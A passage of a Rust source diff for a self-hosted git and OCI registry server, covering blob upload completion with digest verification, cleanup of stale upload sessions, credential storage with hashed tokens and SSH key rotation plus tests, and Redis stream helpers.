"DIGEST_INVALID", "malformed digest"); + }; + // Same session lock `patch` takes (identical key), held across the same read-have -> read + // staging -> write sequence: a PATCH racing this PUT would otherwise interleave with the + // append below, surfacing as a DIGEST_INVALID far from the real cause. + let lock = app.store.keyed_lock(&format!("upload/{owner}/{name}/{uuid}")); + let _guard = lock.lock().await; + let (have, sc) = match session(app, owner, name, uuid).await { + Ok(Some(s)) => s, + Ok(None) => return oci_err(StatusCode::NOT_FOUND, "BLOB_UPLOAD_UNKNOWN", "no such upload"), + Err(e) => return crate::oci_internal(e), + }; + // A PUT may carry the final chunk WITH a Content-Range. A start that is not where the + // session left off is the out-of-order error, not a digest error — the client re-sends the + // chunk on a 416 but restarts the whole upload on a 400, so conflating them is expensive. + let declared = match declared_chunk(headers, owner, name, uuid, have) { + Ok(d) => d, + Err(r) => return r, + }; + if let (Some(d), Some(cl)) = (declared, content_length(headers)) { + if d != cl { + return length_mismatch(); + } + } + // Hashed with the CLAIMED algorithm (`d.algo`), not assumed sha256, so a sha512 push is + // checked as sha512. A mismatch aborts the upload before anything lands under the digest, + // and the session stays open: a client that mis-stated the digest may retry the PUT. + let len = match sc { + Some(sc) => match complete_parts(app, owner, name, uuid, &d, sc, body).await { + Ok(len) => len, + Err(r) => return r, + }, + None => { + let src = match staged(&app.store.os, &staging(owner, name, uuid)).await { + Ok(Some((_, s))) => s, + Ok(None) => { + return oci_err(StatusCode::NOT_FOUND, "BLOB_UPLOAD_UNKNOWN", "no such upload") + } + Err(e) => return crate::oci_internal(e), + }; + match pour(&app.store.os, &blob_path(owner, &d), Some(&d), src.chain(body_stream(body))) + .await + { + Ok(len) => len, + Err(Refused::TooLarge) => { + return oci_err( + StatusCode::from_u16(413).unwrap(), + "SIZE_INVALID", + "layer too large", + ) + } + Err(Refused::WrongDigest) => { + return oci_err( + StatusCode::BAD_REQUEST, + "DIGEST_INVALID", + "content does not match digest", + ) + } + Err(Refused::Failed(e)) => return crate::oci_internal(e), + } + } + }; + // The blob has landed under a digest that matched — content-addressed, so a lying + // Content-Range on a chunked body costs the client a 400 and a retry, never a wrong object. + // `len < have` means the session was swept between the `received` above and the read: that is + // the "no session" answer, not an underflow. The blob itself has already landed, which is + // harmless — it is content-addressed, so it is either the bytes its digest promises or it is + // nothing, and the GC sweep reclaims it if no manifest ever references it. + match len.checked_sub(have) { + Some(arrived) if declared.is_some_and(|d| d != arrived) => return length_mismatch(), + None => return oci_err(StatusCode::NOT_FOUND, "BLOB_UPLOAD_UNKNOWN", "no such upload"), + _ => {} + } + if let Err(e) = super::store::hold_blob(&app.store, owner, name, &d).await { + return crate::oci_internal(e); + } + // Both branches have already disposed of anything multipart, so there is nothing left to abort. + discard(app, owner, name, uuid, None).await; + blobs::created(owner, name, &d) +} + +/// Completion on the fast path: last part, `CompleteMultipartUpload`, verify, publish. +/// +/// The assembled object lands on the STAGING key, never straight on `blobs/{owner}/…`: the digest +/// is not known until the bytes are read back, and a blob path that turned out to hold something +/// else would have to be deleted — which only a client DELETE and the GC sweep may ever do, and +/// which would clobber a concurrent honest push of the same digest. So it is verified where it is +/// harmless and then `copy`d, server-side, into place. +async fn complete_parts( + app: &App, + owner: &str, + name: &str, + uuid: &str, + d: &Digest, + sc: Sidecar, + body: Body, +) -> Result { + use slatedb::object_store::multipart::PartId; + let path = staging(owner, name, uuid); + let Some(mp) = app.store.mp.clone() else { + // A sidecar can only exist because this node had a `MultipartStore` when it was written, + // and `mp` is fixed at process start — so this is a misconfiguration, not a client error. + return Err(crate::oci_internal(crate::err("upload session needs a multipart store"))); + }; + let mut meta = sc.meta; + let room = blobs::max_layer().saturating_sub(meta.len); + let (ids, parted, _) = + put_parts(&mp, &path, &meta.id, meta.parts.len(), tail_then(sc.tail, body), true, room) + .await + .map_err(refused)?; + meta.parts.extend(ids); + meta.len += parted; + if meta.parts.is_empty() { + // Nothing was ever uploaded — a session whose every chunk was a lie about its length. + // There is no valid `CompleteMultipartUpload` for zero parts, so drop the multipart and let + // the ordinary verified-write path answer, which it does with a 400 for any real digest. + let _ = mp.abort_multipart(&path, &meta.id).await; + let _ = app.store.os.delete(&sidecar_path(owner, name, uuid)).await; + return Err(oci_err( + StatusCode::BAD_REQUEST, + "DIGEST_INVALID", + "content does not match digest", + )); + } + let parts = meta.parts.iter().map(|c| PartId { content_id: c.clone() }).collect(); + mp.complete_multipart(&path, &meta.id, parts) + .await + .map_err(|e| crate::oci_internal(e.into()))?; + // The multipart is spent, and the staging object now holds the whole blob. Dropping the sidecar + // turns the session back into an ordinary staged one at the same length — which is exactly what + // a client retrying after the digest check below fails should find. + let _ = app.store.os.delete(&sidecar_path(owner, name, uuid)).await; + + let (size, mut src) = match staged(&app.store.os, &path).await { + Ok(Some(s)) => s, + Ok(None) => { + return Err(oci_err(StatusCode::NOT_FOUND, "BLOB_UPLOAD_UNKNOWN", "no such upload")) + } + Err(e) => return Err(crate::oci_internal(e)), + }; + if size > blobs::max_layer() { + return Err(oci_err( + StatusCode::from_u16(413).unwrap(), + "SIZE_INVALID", + "layer too large", + )); + } + let mut h = Hasher::new(&d.algo) + .ok_or_else(|| oci_err(StatusCode::BAD_REQUEST, "DIGEST_INVALID", "malformed digest"))?; + while let Some(chunk) = src.next().await { + h.update(&chunk.map_err(crate::oci_internal)?); + } + if h.finish() != *d { + return Err(oci_err( + StatusCode::BAD_REQUEST, + "DIGEST_INVALID", + "content does not match digest", + )); + } + app.store + .os + .copy(&path, &blob_path(owner, d)) + .await + .map_err(|e| crate::oci_internal(e.into()))?; + Ok(size) +} + +/// As an extension trait rather than an inherent `impl Store` — see `registry::store::ImageExt`'s +/// doc comment for why: `Store` lives in the `storage` crate now, and Rust's orphan rule forbids +/// an inherent impl on a foreign type from this crate. +#[allow(async_fn_in_trait)] +pub trait UploadsExt { + async fn sweep_stale_uploads(&self, owner: &str, grace: std::time::Duration) -> crate::Result; +} + +impl UploadsExt for Store { + /// Delete this owner's abandoned upload sessions under `uploads/{owner}/`. Object-store reads + /// and deletes ONLY: this runs in the GC worker, which must never open an image database (the + /// single-opener invariant). Keep-biased like `gc::sweep_owner`: an entry this can't read is + /// skipped, never deleted on uncertainty, and one bad entry does not abort the rest. + /// + /// A session is judged by its LAST activity, not the staging object's age: on the fast path + /// the staging object is written empty at open and never touched again, every chunk landing + /// in the `{uuid}.parts` sidecar instead — so a push that outlives `grace` (a large layer on + /// a slow link) was being swept mid-flight, 404ing the client back to zero. The newer of the + /// two objects' timestamps is when the client last spoke; both are kept while that is fresh. + /// A sidecar being deleted has its multipart upload aborted first, so its parts do not sit in + /// the bucket until a lifecycle rule (which `deploy/README.md` asks for as belt-and-braces). + /// + // ponytail: `upload/{uuid}` rows written by the pre-row-less build are orphaned — a few bytes + // each in an image's DB, and nothing deletes them. Upgrade path: a one-off `delete_image_rows` + // -style prefix purge over the owner's images, if the bytes ever matter. + async fn sweep_stale_uploads(&self, owner: &str, grace: std::time::Duration) -> crate::Result { + let prefix = OsPath::from(format!("uploads/{owner}")); + let cutoff = chrono::DateTime::::from(std::time::SystemTime::now() - grace); + let mut listing = self.os.list(Some(&prefix)); + let mut objects = Vec::new(); + let mut last_activity = std::collections::HashMap::>::new(); + while let Some(m) = listing.next().await { + let Ok(m) = m else { continue }; // keep-biased: an entry this can't read is skipped + let session = m.location.as_ref().trim_end_matches(".parts").to_string(); + let seen = last_activity.entry(session).or_insert(m.last_modified); + *seen = (*seen).max(m.last_modified); + objects.push(m); + } + let mut n = 0usize; + // Listing order is lexical, so a session's staging object comes before its sidecar and is + // deleted first — the same order `discard` uses, for the same crash-safety reason. + for m in objects { + let session = m.location.as_ref().trim_end_matches(".parts"); + if last_activity.get(session).is_some_and(|t| *t > cutoff) { + continue; + } + if m.location.as_ref().ends_with(".parts") { + // Best effort, as in `cancel`: a sidecar we cannot read is still deleted and its + // multipart left to the lifecycle rule. + if let Some(mp) = &self.mp { + if let Ok(sc) = self.os.get(&m.location).await { + if let Ok(sc) = sc.bytes().await.map_err(crate::Error::from).and_then(Sidecar::decode) { + let _ = mp.abort_multipart(&OsPath::from(session), &sc.meta.id).await; + } + } + } + } + if self.os.delete(&m.location).await.is_ok() { + n += 1; + } + } + Ok(n) + } +} diff --git a/crates/storage/Cargo.toml b/crates/storage/Cargo.toml new file mode 100644 index 00000000..297bcdac --- /dev/null +++ b/crates/storage/Cargo.toml @@ -0,0 +1,31 @@ +[package] +name = "rustic-git-storage" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" + +[lib] +name = "rustic_git_storage" + +[dependencies] +tracing = { workspace = true } +rustic-git-core = { path = "../core" } +tokio = { workspace = true } +tokio-util = { workspace = true } +slatedb = { workspace = true } +gix-odb = { workspace = true } +gix-hash = { workspace = true } +futures = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +redis = { workspace = true } +rand = { workspace = true } +base64 = { workspace = true } +chrono = { workspace = true } +sha2 = { workspace = true } +rustls = { workspace = true } + +[dev-dependencies] +slatedb-common = { workspace = true } +tempfile = { workspace = true } +async-trait = { workspace = true } diff --git a/crates/storage/src/auth.rs b/crates/storage/src/auth.rs new file mode 100644 index 00000000..b636a6ab --- /dev/null +++ b/crates/storage/src/auth.rs @@ -0,0 +1,392 @@ +use crate::store::Store; +use crate::Result; +use rand::RngCore; +use sha2::{Digest, Sha256}; +use slatedb::object_store::{path::Path as OsPath, ObjectStoreExt, PutPayload}; +use std::time::{Duration, Instant}; + +/// Credentials live as plain object-store keys rather than in SlateDB. +/// +/// SlateDB permits one writer per database, so anything stored there belongs to whichever node is +/// serving that repo — but every node has to authenticate every request. Object keys have no such +/// constraint: +/// each credential is an independent key that any node can read and any admin can write. +/// +/// Tokens are stored hashed, so neither the bucket nor a leaked listing yields a usable credential, +/// and the lookup compares a digest rather than the secret. +fn token_key(token: &str) -> OsPath { + let hex = crate::hex(&Sha256::digest(token.as_bytes())); + OsPath::from(format!("auth/token/{hex}")) +} + +fn sshkey_key(fingerprint: &str) -> OsPath { + // fingerprints contain '/' and '+' (base64); percent-free path segments keep the key flat + let hex = crate::hex(&Sha256::digest(fingerprint.as_bytes())); + OsPath::from(format!("auth/sshkey/{hex}")) +} + +/// Where a user's PLATFORM-ISSUED private key lives. +/// +/// Keyed by owner, not by fingerprint: there is exactly one at a time, and rotation replaces it. +/// Deliberately a different prefix from `auth/sshkey/`, which maps a fingerprint to an owner for +/// AUTHENTICATION — this holds the secret half and is never consulted on the auth path. +fn userkey_key(owner: &str) -> OsPath { + OsPath::from(format!("auth/userkey/{owner}")) +} + +/// How long a credential lookup is reused. Every authenticated request needs one, and an object +/// store round trip is far slower than the request itself; credentials change rarely. +/// The cost is revocation latency: a deleted token keeps working for up to this long. A miss is +/// cached for the same time, except that registering the credential clears it. +const CACHE_TTL: Duration = Duration::from_secs(60); + +/// Entries (hits and misses together) past which a miss sweeps the map: every cached miss and +/// every expired hit is dropped, and if that frees nothing the whole map goes. +const NEG_CAP: usize = 4096; + +impl Store { + /// The credential cache, poisoning ignored: a panic while the lock was held (a bug somewhere + /// else) must not turn every later authentication into a panic, and the map holds nothing a + /// half-finished insert can leave inconsistent. + pub(crate) fn auth_cache( + &self, + ) -> std::sync::MutexGuard<'_, std::collections::HashMap)>> { + self.auth_cache.lock().unwrap_or_else(|p| p.into_inner()) + } + + async fn lookup(&self, key: OsPath) -> Result> { + let cache_key = key.to_string(); + if let Some((at, v)) = self.auth_cache().get(&cache_key) { + if at.elapsed() < CACHE_TTL { + return Ok(v.clone()); + } + } + let owner = match self.os.get(&key).await { + Ok(r) => Some(String::from_utf8_lossy(&r.bytes().await?).to_string()), + Err(slatedb::object_store::Error::NotFound { .. }) => None, + Err(e) => return Err(e.into()), + }; + // Misses are cached too, or a sprayed bogus credential is one object-store GET each — + // but bounded: there is an unbounded supply of bogus tokens and none of valid ones, so + // when the map fills, misses and stale entries are dropped and the (few) live hits kept. + // Registration evicts the miss for its own key (see `create_token`/`add_ssh_key`), which + // is what makes "ssh failed, add the key, ssh again" work inside one TTL. + // + // The sweep must also drop EXPIRED hits, and clear outright if that was not enough: + // nothing else ever removes a positive entry, so keeping them unconditionally would let + // enough accumulated hits pin the map at the cap and hand the miss path back its + // unbounded growth. + // ponytail: sweep-on-overflow, not LRU; an LRU crate only if a profile says so. + let mut cache = self.auth_cache(); + if owner.is_none() && cache.len() >= NEG_CAP { + cache.retain(|_, (at, v)| v.is_some() && at.elapsed() < CACHE_TTL); + if cache.len() >= NEG_CAP { + cache.clear(); + } + } + cache.insert(cache_key, (Instant::now(), owner.clone())); + Ok(owner) + } + + /// The token's storage name — sha256 hex. Callers keep this to revoke later: + /// it is what the object key is named after, and it reveals nothing. + pub fn token_digest(token: &str) -> String { + crate::hex(&Sha256::digest(token.as_bytes())) + } + + /// Revoke by digest, so a caller can revoke a token it can no longer read. + /// Idempotent: revoking twice is not an error, and neither is revoking one the + /// fleet never had — the desired end state is the same. + pub async fn revoke_token_digest(&self, digest: &str) -> Result<()> { + match self.os.delete(&OsPath::from(format!("auth/token/{digest}"))).await { + Ok(()) | Err(slatedb::object_store::Error::NotFound { .. }) => {} + Err(e) => return Err(e.into()), + } + // The lookup cache holds the old answer for up to CACHE_TTL, on THIS node + // only. Dropping it here makes revocation immediate for the process that + // performed it; other nodes still take up to a minute. + self.auth_cache().remove(&format!("auth/token/{digest}")); + Ok(()) + } + + /// Every git token minted for `owner`, gone — the admin escape hatch for tokens that came + /// from `admin add-token` and so have no Mongo row to revoke through the api. The token + /// objects store only the owner, which is all the filter needs; reads are one small GET per + /// token across the whole fleet's token set, fine at the scale a by-hand command runs at. + /// Returns how many were revoked. + pub async fn revoke_tokens_for(&self, owner: &str) -> Result { + use futures::TryStreamExt; + let prefix = OsPath::from("auth/token"); + let metas: Vec<_> = self.os.list(Some(&prefix)).try_collect().await?; + let mut n = 0; + for m in metas { + let body = self.os.get(&m.location).await?.bytes().await?; + if body.as_ref() == owner.as_bytes() { + let digest = m.location.filename().unwrap_or_default().to_string(); + self.revoke_token_digest(&digest).await?; + n += 1; + } + } + Ok(n) + } + + pub async fn remove_ssh_key(&self, fingerprint: &str) -> Result<()> { + let key = sshkey_key(fingerprint); + match self.os.delete(&key).await { + Ok(()) | Err(slatedb::object_store::Error::NotFound { .. }) => {} + Err(e) => return Err(e.into()), + } + self.auth_cache().remove(&key.to_string()); + Ok(()) + } + + /// The user's platform-issued private key, if they have one. + /// + /// Not cached: this is read when a workspace is materialized, not on every request, so the + /// cache would hold a private key in memory for a lookup that happens rarely. + pub async fn user_key(&self, owner: &str) -> Result> { + match self.os.get(&userkey_key(owner)).await { + Ok(r) => Ok(Some(String::from_utf8_lossy(&r.bytes().await?).to_string())), + Err(slatedb::object_store::Error::NotFound { .. }) => Ok(None), + Err(e) => Err(e.into()), + } + } + + /// Install a freshly generated keypair for `owner`, replacing any previous one. + /// + /// The ORDER is the whole point, and it is chosen so that every intermediate state still + /// authenticates: + /// + /// 1. register the new fingerprint — the new key works, the old one still does too; + /// 2. store the new private key — workspaces materialized from here get the new one; + /// 3. revoke the old fingerprint — the old key stops working, and nothing still needs it. + /// + /// Any step failing leaves a working account. The tempting order (revoke, then install) has a + /// window where the user can authenticate with nothing at all, and a crash inside that window + /// locks them out of their own repositories until an operator intervenes. + pub async fn rotate_user_key( + &self, + owner: &str, + private_openssh: &str, + new_fingerprint: &str, + old_fingerprint: Option<&str>, + ) -> Result<()> { + self.add_ssh_key(owner, new_fingerprint).await?; + self.os + .put(&userkey_key(owner), PutPayload::from(private_openssh.to_string())) + .await?; + if let Some(old) = old_fingerprint.filter(|f| *f != new_fingerprint) { + self.remove_ssh_key(old).await?; + } + Ok(()) + } + + pub async fn create_token(&self, owner: &str) -> Result { + let mut b = [0u8; 16]; + rand::thread_rng().fill_bytes(&mut b); + let t = crate::hex(&b); + self.os + .put(&token_key(&t), PutPayload::from(owner.to_string())) + .await?; + self.auth_cache().remove(&token_key(&t).to_string()); + Ok(t) + } + + pub async fn owner_for_token(&self, token: &str) -> Result> { + self.lookup(token_key(token)).await + } + + /// Registers a public key's fingerprint against `owner`. The caller (`bins/server`, which alone + /// has the ssh dependency — see `bins/server/src/boot.rs::ssh_fingerprint`) has already parsed the + /// OpenSSH line and computed the fingerprint; `storage` never parses an ssh key itself, so it + /// stays free of the ssh-key-parsing dependency. + pub async fn add_ssh_key(&self, owner: &str, fingerprint: &str) -> Result<()> { + self.os + .put(&sshkey_key(fingerprint), PutPayload::from(owner.to_string())) + .await?; + self.auth_cache().remove(&sshkey_key(fingerprint).to_string()); + Ok(()) + } + + pub async fn owner_for_fingerprint(&self, fp: &str) -> Result> { + self.lookup(sshkey_key(fp)).await + } +} + +// ponytail: owner-or-public access; add collaborators when needed +/// Public grants READ to everyone — anonymous or authenticated, owner or stranger. It grants +/// identity to nobody: writes and admin still need the owner's credential, which callers express +/// by passing `public_read: false` on any non-read path. +/// +/// Callers that assume success implies an identity must keep passing `false` (ssh, proxy): with +/// `public_read` true this can return true for an anonymous caller. +pub fn authorize(auth_owner: Option<&str>, repo_owner: &str, public_read: bool) -> bool { + public_read || auth_owner == Some(repo_owner) +} + +/// The credential inside an Authorization header of the named scheme, or `None` for another +/// scheme. Matched case-insensitively: RFC 7235 says `basic` and `Basic` are the same scheme, +/// and some proxies lowercase it. One definition, because a call site that spells the match +/// itself is a call site that spells it case-sensitively. +/// +/// Header-parsing lives here even though it takes no `axum` type directly (`scheme` itself is +/// axum-free); the sibling functions that DO take `axum::http::HeaderMap` stay in `crates/core` +/// (`crates/core/src/httpx.rs`) — `storage` must not depend on `axum` (see `crates/storage/Cargo.toml`). +pub fn scheme<'a>(v: &'a str, name: &str) -> Option<&'a str> { + let (head, rest) = v.split_at_checked(name.len())?; + (head.eq_ignore_ascii_case(name) && rest.starts_with(' ')).then(|| rest.trim_start()) +} + +/// The judgement half of `basic_user_names` (`rustic-git-core`'s `httpx`) — the header decode lives there since it +/// needs `axum::http::HeaderMap`; this half is pure and has no reason to depend on `axum`. +pub fn user_names(user: &str, owner: &str, git_placeholder: bool) -> bool { + user == owner || (git_placeholder && user == GIT_PLACEHOLDER) +} + +/// git's placeholder username, the shape every token-based git URL uses: `https://x:@host`. +/// The token IS the identity there and git has no other way to send one, so the username carries +/// no information and must not be held against the caller. +const GIT_PLACEHOLDER: &str = "x"; + +#[cfg(test)] +mod tests { + use crate::store::Store; + use std::time::Instant; + use slatedb::object_store::memory::InMemory; + use std::sync::Arc; + + /// Rotation must never leave the account unable to authenticate, even for an instant, because + /// a crash inside that window locks a user out of their own repositories until an operator + /// intervenes. So the new key is live BEFORE the old one is revoked. + #[tokio::test] + async fn rotating_a_user_key_keeps_the_account_authenticating_throughout() { + let os = Arc::new(InMemory::new()); + let dir = tempfile::tempdir().unwrap(); + let store = Store::open(os, dir.path().to_path_buf(), false).await.unwrap(); + + store.rotate_user_key("alice", "PRIVATE-1", "fp-1", None).await.unwrap(); + assert_eq!(store.owner_for_fingerprint("fp-1").await.unwrap().as_deref(), Some("alice")); + assert_eq!(store.user_key("alice").await.unwrap().as_deref(), Some("PRIVATE-1")); + + // Regenerate: the new fingerprint authenticates and the OLD one no longer does. + store.rotate_user_key("alice", "PRIVATE-2", "fp-2", Some("fp-1")).await.unwrap(); + assert_eq!(store.owner_for_fingerprint("fp-2").await.unwrap().as_deref(), Some("alice")); + assert_eq!( + store.owner_for_fingerprint("fp-1").await.unwrap(), + None, + "the replaced key must stop authenticating, or regenerating revokes nothing" + ); + assert_eq!(store.user_key("alice").await.unwrap().as_deref(), Some("PRIVATE-2")); + + // Rotating to the same fingerprint must not revoke the key it just installed. + store.rotate_user_key("alice", "PRIVATE-2", "fp-2", Some("fp-2")).await.unwrap(); + assert_eq!(store.owner_for_fingerprint("fp-2").await.unwrap().as_deref(), Some("alice")); + + // A user with no key reads as None rather than erroring. + assert_eq!(store.user_key("nobody").await.unwrap(), None); + } + + /// Revocation is immediate on the node that performed it: the cached hit is dropped with the + /// object, so a revoked token does not keep working for the rest of the cache TTL here. + #[tokio::test] + async fn a_revoked_credential_stops_authenticating_at_once() { + let os = Arc::new(InMemory::new()); + let dir = tempfile::tempdir().unwrap(); + let store = Store::open(os, dir.path().to_path_buf(), false).await.unwrap(); + let token = store.create_token("alice").await.unwrap(); + assert_eq!(store.owner_for_token(&token).await.unwrap().as_deref(), Some("alice")); + store.revoke_token_digest(&Store::token_digest(&token)).await.unwrap(); + assert_eq!(store.owner_for_token(&token).await.unwrap(), None); + // Twice is not an error: the desired end state is the same. + store.revoke_token_digest(&Store::token_digest(&token)).await.unwrap(); + + // The ssh-key parsing/fingerprinting itself lives in `crates/api` (needs `russh`); here + // a stand-in fingerprint string exercises the storage round trip only. + let fp = "SHA256:test-fingerprint-stand-in"; + store.add_ssh_key("alice", fp).await.unwrap(); + assert_eq!(store.owner_for_fingerprint(fp).await.unwrap().as_deref(), Some("alice")); + store.remove_ssh_key(fp).await.unwrap(); + assert_eq!(store.owner_for_fingerprint(fp).await.unwrap(), None); + } + + /// Misses are cached — a sprayed bogus token must not be one object-store GET each — but + /// bounded, because there is an unbounded supply of bogus tokens and none of valid ones. + #[tokio::test] + async fn negative_auth_cache_is_bounded() { + let os = Arc::new(InMemory::new()); + let dir = tempfile::tempdir().unwrap(); + let store = Store::open(os, dir.path().to_path_buf(), false).await.unwrap(); + for i in 0..10_000 { + let _ = store.owner_for_token(&format!("bogus-token-{i}")).await; + } + assert!(store.auth_cache_len() <= super::NEG_CAP, "{}", store.auth_cache_len()); + assert!(store.auth_cache_len() > 0, "misses are cached at all"); + } + + /// Nothing but a sweep ever removes a positive entry, so a fleet that has simply been up a + /// long time can hold the map at the cap on hits alone. If that pinned the sweep, misses + /// would grow unbounded again behind a cap that can never be met. + #[tokio::test] + async fn a_cache_full_of_hits_does_not_disable_the_cap() { + let os = Arc::new(InMemory::new()); + let dir = tempfile::tempdir().unwrap(); + let store = Store::open(os, dir.path().to_path_buf(), false).await.unwrap(); + { + let mut c = store.auth_cache(); + for i in 0..super::NEG_CAP + 900 { + c.insert(format!("auth/token/hit-{i}"), (Instant::now(), Some("alice".into()))); + } + } + for i in 0..500 { + let _ = store.owner_for_token(&format!("bogus-token-{i}")).await; + } + assert!(store.auth_cache_len() <= super::NEG_CAP, "{}", store.auth_cache_len()); + } + + /// The common sequence is "ssh fails, add the key, ssh again" — the cached miss must not make + /// the second attempt fail for another minute. + #[tokio::test] + async fn revoke_tokens_for_removes_only_that_owners_tokens() { + let os = Arc::new(InMemory::new()); + let dir = tempfile::tempdir().unwrap(); + let s = Store::open(os, dir.path().to_path_buf(), false).await.unwrap(); + let a1 = s.create_token("alice").await.unwrap(); + let a2 = s.create_token("alice").await.unwrap(); + let b = s.create_token("bob").await.unwrap(); + assert_eq!(s.revoke_tokens_for("alice").await.unwrap(), 2); + assert_eq!(s.owner_for_token(&a1).await.unwrap(), None); + assert_eq!(s.owner_for_token(&a2).await.unwrap(), None); + assert_eq!(s.owner_for_token(&b).await.unwrap().as_deref(), Some("bob")); + assert_eq!(s.revoke_tokens_for("alice").await.unwrap(), 0, "idempotent"); + } + + #[tokio::test] + async fn a_key_added_after_a_failed_login_works_immediately() { + let os = Arc::new(InMemory::new()); + let dir = tempfile::tempdir().unwrap(); + let store = Store::open(os, dir.path().to_path_buf(), false).await.unwrap(); + let fp = "SHA256:test-fingerprint-stand-in-2"; + assert_eq!(store.owner_for_fingerprint(fp).await.unwrap(), None); + store.add_ssh_key("alice", fp).await.unwrap(); + assert_eq!(store.owner_for_fingerprint(fp).await.unwrap().as_deref(), Some("alice")); + } + + /// One panic while holding the cache lock — a bug anywhere — must not turn every later + /// authentication into a panic. + #[tokio::test] + async fn a_poisoned_auth_cache_does_not_panic_every_request() { + let os = Arc::new(InMemory::new()); + let dir = tempfile::tempdir().unwrap(); + let store = Arc::new(Store::open(os, dir.path().to_path_buf(), false).await.unwrap()); + let token = store.create_token("alice").await.unwrap(); + let s = store.clone(); + let _ = std::thread::spawn(move || { + let _g = s.auth_cache.lock().unwrap(); + panic!("poison the lock on purpose"); + }) + .join(); + assert!(store.auth_cache.is_poisoned()); + assert_eq!(store.owner_for_token(&token).await.unwrap().as_deref(), Some("alice")); + store.revoke_token_digest(&Store::token_digest(&token)).await.unwrap(); + } +} diff --git a/crates/storage/src/cache/disk.rs b/crates/storage/src/cache/disk.rs new file mode 100644 index 00000000..44840304 --- /dev/null +++ b/crates/storage/src/cache/disk.rs @@ -0,0 +1,228 @@ +//! Redis stream operations backing `crate::events`: publish, consumer-group read/ack/reclaim, +//! and the plain feed read. Split out of `cache.rs` alongside the generation/get/put half in +//! `mod.rs` — named `disk` to match the brief's file split point, though nothing here touches +//! disk; there is no on-disk cache layer in this codebase to split out (see task-3 report). + +use super::{run, run_within, Cache, CMD_TIMEOUT, MAINTENANCE_TIMEOUT}; + +impl Cache { + /// `XADD {stream} MAXLEN ~ {maxlen} * {field} {value} …`. Fire-and-forget like `drop_refs`: + /// the stream is a nudge (see `crate::events`), never the record, so a lost publish is not a + /// lost event — it just costs the consumer a poll cycle. A disabled cache (`conn: None, + /// mem: None`) is a silent no-op, same as every other cache miss path. + pub async fn xadd(&self, stream: &str, maxlen: usize, fields: &[(&'static str, String)]) { + if let Some(m) = &self.mem_stream { + // `~` (approximate trim) has no meaning in-process; trim exactly, which is a superset + // of what the real MAXLEN ~ guarantees and therefore never masks a bug the real one + // would hide. + let mut g = m.lock().unwrap(); + let now_ms = std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .unwrap_or_default() + .as_millis(); + let id = format!("{now_ms}-0"); + // The mem-stream stores owned pairs (entries come back owned from Redis on the real + // path too — see `from_fields`), so the static keys are converted at this boundary, + // not per publish. + g.push((id, fields.iter().map(|(k, v)| (k.to_string(), v.clone())).collect())); + let len = g.len(); + if len > maxlen { + g.drain(0..len - maxlen); + } + return; + } + if let Some(mut c) = self.conn.clone() { + let mut cmd = redis::cmd("XADD"); + cmd.arg(stream).arg("MAXLEN").arg("~").arg(maxlen).arg("*"); + for (k, v) in fields { + cmd.arg(k).arg(v); + } + // Same fire-and-forget discipline as `drop_refs`; a lost nudge self-heals via each + // consumer's fallback scan (see `crate::events` module doc). + if let Err(e) = run::<()>(&mut cmd, &mut c).await { + tracing::debug!(stream = %stream, error = %e, "cache xadd failed"); + } + } + } + + /// `XGROUP CREATE {stream} {group} $ MKSTREAM`. Idempotent by design (see the worker's + /// startup call): a group that already exists answers `BUSYGROUP`, which is swallowed here + /// rather than propagated, because every worker replica calls this on boot and only the + /// first one should ever see it as new. `$` (not `0`), because a fresh group must only see + /// entries published from here on — replaying history on every process restart would mean + /// years of the fallback sweep having already covered whatever an old entry pointed at. + pub async fn xgroup_create_mkstream(&self, stream: &str, group: &str) { + if let Some(m) = &self.mem_stream { + // The in-memory stand-in has no groups (see `mem_stream`'s doc); nothing to create. + let _ = m; + return; + } + if let Some(mut c) = self.conn.clone() { + let mut cmd = redis::cmd("XGROUP"); + cmd.arg("CREATE").arg(stream).arg(group).arg("$").arg("MKSTREAM"); + if let Err(e) = run::<()>(&mut cmd, &mut c).await { + if !e.to_string().contains("BUSYGROUP") { + tracing::warn!(%stream, %group, error = %e, "consumer group create failed"); + } + } + } + } + + /// `XREADGROUP GROUP {group} {consumer} COUNT {count} BLOCK {block_ms} STREAMS {stream} >`. + /// A disabled/absent cache answers empty, same as every other cache miss — the caller's + /// periodic sweep is what makes that safe (see `crate::events` module doc). + pub async fn xreadgroup( + &self, + stream: &str, + group: &str, + consumer: &str, + count: usize, + ) -> Vec<(String, Vec<(String, String)>)> { + if self.mem_stream.is_some() { + // No consumer-group delivery in the in-memory stand-in (see `mem_stream`'s doc); + // a test that needs redelivery semantics exercises the real Redis-backed path. + return Vec::new(); + } + let Some(mut c) = self.conn.clone() else { return Vec::new() }; + let mut cmd = redis::cmd("XREADGROUP"); + cmd.arg("GROUP") + .arg(group) + .arg(consumer) + .arg("COUNT") + .arg(count) + .arg("STREAMS") + .arg(stream) + .arg(">"); + // Deliberately NOT `BLOCK`. `ConnectionManager` multiplexes every command in the process + // onto ONE connection, so a blocking read parks that connection for its whole timeout and + // every other command queues behind it. With several lanes each blocking, XAUTOCLAIM never + // got a turn and failed on every attempt in production, at any timeout — head-of-line + // blocking, not a slow command. A plain read plus the caller's existing idle sleep gives + // the same wake-up latency without holding the shared connection. If a blocking read is + // ever wanted back, it needs its OWN connection, not this one. + match tokio::time::timeout(CMD_TIMEOUT, cmd.query_async::(&mut c)).await { + Ok(Ok(reply)) => reply.0, + Ok(Err(e)) => { + tracing::warn!(%stream, %group, error = %e, "consumer group read failed"); + Vec::new() + } + Err(_) => Vec::new(), // timed out waiting; the caller's sweep covers it + } + } + + /// `XACK {stream} {group} {id}`. Fire-and-forget like `xadd`: an ack that is lost to a Redis + /// blip just means the entry gets redelivered later (by `XAUTOCLAIM` or a PEL replay) and the + /// worker does one redundant check — never a lost or duplicated merge, since `check_one` and + /// `claim_merge` are themselves idempotent claims in the repo's own database + /// (`pulls::claim_merge`). + pub async fn xack(&self, stream: &str, group: &str, id: &str) { + if self.mem_stream.is_some() { + return; + } + if let Some(mut c) = self.conn.clone() { + let mut cmd = redis::cmd("XACK"); + cmd.arg(stream).arg(group).arg(id); + if let Err(e) = run::<()>(&mut cmd, &mut c).await { + tracing::warn!(%stream, %group, %id, error = %e, "consumer group ack failed"); + } + } + } + + /// `XAUTOCLAIM {stream} {group} {consumer} {min_idle_ms} 0-0 COUNT {count}`. Re-delivers + /// entries whose original consumer took them but never acked within `min_idle_ms` — the + /// "consumer died mid-processing" case. Started at cursor `0-0` and the returned cursor is + /// discarded: callers run this on a timer against the whole PEL rather than resuming a 